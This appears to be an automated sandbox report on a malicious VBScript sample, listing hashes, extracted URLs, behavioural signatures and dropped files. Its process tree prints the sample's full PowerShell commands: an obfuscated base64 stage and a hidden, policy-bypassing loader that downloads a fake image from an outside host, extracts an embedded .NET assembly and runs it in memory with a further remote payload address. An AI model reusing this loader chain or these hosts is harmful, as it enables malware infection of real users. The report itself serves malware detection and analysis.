Analysis
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max time kernel
150s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
03/10/2023, 14:00
Static task
static1
Behavioral task
behavioral1
Sample
188f6b571bde52fc0bce4ff0e1eeb2998787c655c7d5a026fc91130de3c02857_JC.vbs
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
188f6b571bde52fc0bce4ff0e1eeb2998787c655c7d5a026fc91130de3c02857_JC.vbs
Resource
win10v2004-20230915-en
General
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Target
188f6b571bde52fc0bce4ff0e1eeb2998787c655c7d5a026fc91130de3c02857_JC.vbs
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Size
405KB
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MD5
1402e4408f123da1e9bc3bde078764fc
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SHA1
1a66e63c52849c456bea06df30b92a30e468f062
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SHA256
188f6b571bde52fc0bce4ff0e1eeb2998787c655c7d5a026fc91130de3c02857
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SHA512
96be453ca45e13f8a89b4d08530b9e94c36c1bc1d457dfc6b649940a0f594a8c1c4340c3e571767306f27f8e0d0d64f77c281103d9c13f21f4f4a92525e2dcdf
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SSDEEP
3072:yZ10NPoKwrcnuC+1B1pehadnTPMFgIkkkkkskkkkkBkkkkkvkkkkk4kkkkkfkkkc:Q6PoxraubDS+AFe
Malware Config
Extracted
https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937
https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937
Signatures
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Blocklisted process makes network request 3 IoCs
flow pid Process 5 2008 powershell.exe 7 2008 powershell.exe 9 2008 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2388 powershell.exe 2008 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2388 powershell.exe Token: SeDebugPrivilege 2008 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2256 wrote to memory of 2388 2256 WScript.exe 28 PID 2256 wrote to memory of 2388 2256 WScript.exe 28 PID 2256 wrote to memory of 2388 2256 WScript.exe 28 PID 2388 wrote to memory of 2008 2388 powershell.exe 30 PID 2388 wrote to memory of 2008 2388 powershell.exe 30 PID 2388 wrote to memory of 2008 2388 powershell.exe 30
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\188f6b571bde52fc0bce4ff0e1eeb2998787c655c7d5a026fc91130de3c02857_JC.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶I◀▶◀▶9◀▶C◀▶◀▶JwBo◀▶HQ◀▶d◀▶Bw◀▶HM◀▶Og◀▶v◀▶C8◀▶dQBw◀▶Gw◀▶bwBh◀▶GQ◀▶Z◀▶Bl◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBu◀▶HM◀▶LgBj◀▶G8◀▶bQ◀▶u◀▶GI◀▶cg◀▶v◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBz◀▶C8◀▶M◀▶◀▶w◀▶DQ◀▶Lw◀▶2◀▶DE◀▶Ng◀▶v◀▶DY◀▶M◀▶◀▶5◀▶C8◀▶bwBy◀▶Gk◀▶ZwBp◀▶G4◀▶YQBs◀▶C8◀▶cgB1◀▶G0◀▶c◀▶Bf◀▶HY◀▶YgBz◀▶C4◀▶agBw◀▶Gc◀▶Pw◀▶x◀▶DY◀▶OQ◀▶1◀▶DQ◀▶M◀▶◀▶4◀▶Dk◀▶Mw◀▶3◀▶Cc◀▶Ow◀▶k◀▶Hc◀▶ZQBi◀▶EM◀▶b◀▶Bp◀▶GU◀▶bgB0◀▶C◀▶◀▶PQ◀▶g◀▶E4◀▶ZQB3◀▶C0◀▶TwBi◀▶Go◀▶ZQBj◀▶HQ◀▶I◀▶BT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶E4◀▶ZQB0◀▶C4◀▶VwBl◀▶GI◀▶QwBs◀▶Gk◀▶ZQBu◀▶HQ◀▶Ow◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶B3◀▶GU◀▶YgBD◀▶Gw◀▶aQBl◀▶G4◀▶d◀▶◀▶u◀▶EQ◀▶bwB3◀▶G4◀▶b◀▶Bv◀▶GE◀▶Z◀▶BE◀▶GE◀▶d◀▶Bh◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶VQBy◀▶Gw◀▶KQ◀▶7◀▶CQ◀▶aQBt◀▶GE◀▶ZwBl◀▶FQ◀▶ZQB4◀▶HQ◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FQ◀▶ZQB4◀▶HQ◀▶LgBF◀▶G4◀▶YwBv◀▶GQ◀▶aQBu◀▶Gc◀▶XQ◀▶6◀▶Do◀▶VQBU◀▶EY◀▶O◀▶◀▶u◀▶Ec◀▶ZQB0◀▶FM◀▶d◀▶By◀▶Gk◀▶bgBn◀▶Cg◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶QgB5◀▶HQ◀▶ZQBz◀▶Ck◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶UwBU◀▶EE◀▶UgBU◀▶D4◀▶Pg◀▶n◀▶Ds◀▶J◀▶Bl◀▶G4◀▶Z◀▶BG◀▶Gw◀▶YQBn◀▶C◀▶◀▶PQ◀▶g◀▶Cc◀▶P◀▶◀▶8◀▶EI◀▶QQBT◀▶EU◀▶Ng◀▶0◀▶F8◀▶RQBO◀▶EQ◀▶Pg◀▶+◀▶Cc◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶9◀▶C◀▶◀▶J◀▶Bp◀▶G0◀▶YQBn◀▶GU◀▶V◀▶Bl◀▶Hg◀▶d◀▶◀▶u◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶BP◀▶GY◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶Ck◀▶Ow◀▶k◀▶GU◀▶bgBk◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶SQBu◀▶GQ◀▶ZQB4◀▶E8◀▶Zg◀▶o◀▶CQ◀▶ZQBu◀▶GQ◀▶RgBs◀▶GE◀▶Zw◀▶p◀▶Ds◀▶J◀▶Bz◀▶HQ◀▶YQBy◀▶HQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶GU◀▶I◀▶◀▶w◀▶C◀▶◀▶LQBh◀▶G4◀▶Z◀▶◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQBn◀▶HQ◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶Ow◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶I◀▶◀▶r◀▶D0◀▶I◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BG◀▶Gw◀▶YQBn◀▶C4◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶Ow◀▶k◀▶GI◀▶YQBz◀▶GU◀▶Ng◀▶0◀▶Ew◀▶ZQBu◀▶Gc◀▶d◀▶Bo◀▶C◀▶◀▶PQ◀▶g◀▶CQ◀▶ZQBu◀▶GQ◀▶SQBu◀▶GQ◀▶ZQB4◀▶C◀▶◀▶LQ◀▶g◀▶CQ◀▶cwB0◀▶GE◀▶cgB0◀▶Ek◀▶bgBk◀▶GU◀▶e◀▶◀▶7◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gk◀▶bQBh◀▶Gc◀▶ZQBU◀▶GU◀▶e◀▶B0◀▶C4◀▶UwB1◀▶GI◀▶cwB0◀▶HI◀▶aQBu◀▶Gc◀▶K◀▶◀▶k◀▶HM◀▶d◀▶Bh◀▶HI◀▶d◀▶BJ◀▶G4◀▶Z◀▶Bl◀▶Hg◀▶L◀▶◀▶g◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶T◀▶Bl◀▶G4◀▶ZwB0◀▶Gg◀▶KQ◀▶7◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶EM◀▶bwBu◀▶HY◀▶ZQBy◀▶HQ◀▶XQ◀▶6◀▶Do◀▶RgBy◀▶G8◀▶bQBC◀▶GE◀▶cwBl◀▶DY◀▶N◀▶BT◀▶HQ◀▶cgBp◀▶G4◀▶Zw◀▶o◀▶CQ◀▶YgBh◀▶HM◀▶ZQ◀▶2◀▶DQ◀▶QwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶◀▶p◀▶Ds◀▶J◀▶Bs◀▶G8◀▶YQBk◀▶GU◀▶Z◀▶BB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶I◀▶◀▶9◀▶C◀▶◀▶WwBT◀▶Hk◀▶cwB0◀▶GU◀▶bQ◀▶u◀▶FI◀▶ZQBm◀▶Gw◀▶ZQBj◀▶HQ◀▶aQBv◀▶G4◀▶LgBB◀▶HM◀▶cwBl◀▶G0◀▶YgBs◀▶Hk◀▶XQ◀▶6◀▶Do◀▶T◀▶Bv◀▶GE◀▶Z◀▶◀▶o◀▶CQ◀▶YwBv◀▶G0◀▶bQBh◀▶G4◀▶Z◀▶BC◀▶Hk◀▶d◀▶Bl◀▶HM◀▶KQ◀▶7◀▶CQ◀▶d◀▶B5◀▶H◀▶◀▶ZQ◀▶g◀▶D0◀▶I◀▶◀▶k◀▶Gw◀▶bwBh◀▶GQ◀▶ZQBk◀▶EE◀▶cwBz◀▶GU◀▶bQBi◀▶Gw◀▶eQ◀▶u◀▶Ec◀▶ZQB0◀▶FQ◀▶eQBw◀▶GU◀▶K◀▶◀▶n◀▶EY◀▶aQBi◀▶GU◀▶cg◀▶u◀▶Eg◀▶bwBt◀▶GU◀▶Jw◀▶p◀▶Ds◀▶J◀▶Bt◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶g◀▶D0◀▶I◀▶◀▶k◀▶HQ◀▶eQBw◀▶GU◀▶LgBH◀▶GU◀▶d◀▶BN◀▶GU◀▶d◀▶Bo◀▶G8◀▶Z◀▶◀▶o◀▶Cc◀▶VgBB◀▶Ek◀▶Jw◀▶p◀▶C4◀▶SQBu◀▶HY◀▶bwBr◀▶GU◀▶K◀▶◀▶k◀▶G4◀▶dQBs◀▶Gw◀▶L◀▶◀▶g◀▶Fs◀▶bwBi◀▶Go◀▶ZQBj◀▶HQ◀▶WwBd◀▶F0◀▶I◀▶◀▶o◀▶Cc◀▶d◀▶B4◀▶HQ◀▶LgB4◀▶Gk◀▶bg◀▶v◀▶DI◀▶NQ◀▶u◀▶Dg◀▶N◀▶◀▶u◀▶D◀▶◀▶MQ◀▶x◀▶C4◀▶OQ◀▶3◀▶C8◀▶Lw◀▶6◀▶H◀▶◀▶d◀▶B0◀▶Gg◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GQ◀▶ZgBk◀▶GY◀▶Z◀▶◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Z◀▶Bm◀▶GQ◀▶Zg◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Z◀▶Bm◀▶GQ◀▶Zg◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶Z◀▶Bh◀▶GQ◀▶cwBh◀▶Cc◀▶I◀▶◀▶s◀▶C◀▶◀▶JwBk◀▶GU◀▶Jw◀▶g◀▶Cw◀▶I◀▶◀▶n◀▶GM◀▶dQ◀▶n◀▶Ck◀▶KQ◀▶='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2388 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.xin/25.84.011.97//:ptth' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2008
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD58a8d62f40a2b21f9b53daa6c6b9f91c1
SHA149b7dd746318b5b4946475576f084d3769f1bf78
SHA256f25234711e2c2e5f634675a3cd9dad2dd3a05d163cee0cf16f830b6b5c26734a
SHA512bc5e998094ada1a7c8044ab343abd16e2fae597da8f23b678cb32f75cf72da3020a10da614913797814524bf97959f84aae3dc49c5953ad7c87aab02d3ce5e8d
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Filesize
61KB
MD5f3441b8572aae8801c04f3060b550443
SHA14ef0a35436125d6821831ef36c28ffaf196cda15
SHA2566720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf
SHA5125ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9
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Filesize
163KB
MD59441737383d21192400eca82fda910ec
SHA1725e0d606a4fc9ba44aa8ffde65bed15e65367e4
SHA256bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5
SHA5127608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5962c7bff68f8b5f34823c0c83329ae20
SHA1ec6ffd6419d0614f84dd8f9d1fd295fbf4fc0556
SHA25667de7b187a89a1e3fb7c003d3b250b0692f912f7d718a09906d72ca68ca4e9a9
SHA512f5caca24fd01c5da9017d034068682e7593eee33b69a15f417b412e8dfd364f98ad3b7047bc94cc22d1698340e202634f98a866aa6b8e71a6103705bfa1736e8
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S8BHDT99560QCK143FK1.temp
Filesize7KB
MD5962c7bff68f8b5f34823c0c83329ae20
SHA1ec6ffd6419d0614f84dd8f9d1fd295fbf4fc0556
SHA25667de7b187a89a1e3fb7c003d3b250b0692f912f7d718a09906d72ca68ca4e9a9
SHA512f5caca24fd01c5da9017d034068682e7593eee33b69a15f417b412e8dfd364f98ad3b7047bc94cc22d1698340e202634f98a866aa6b8e71a6103705bfa1736e8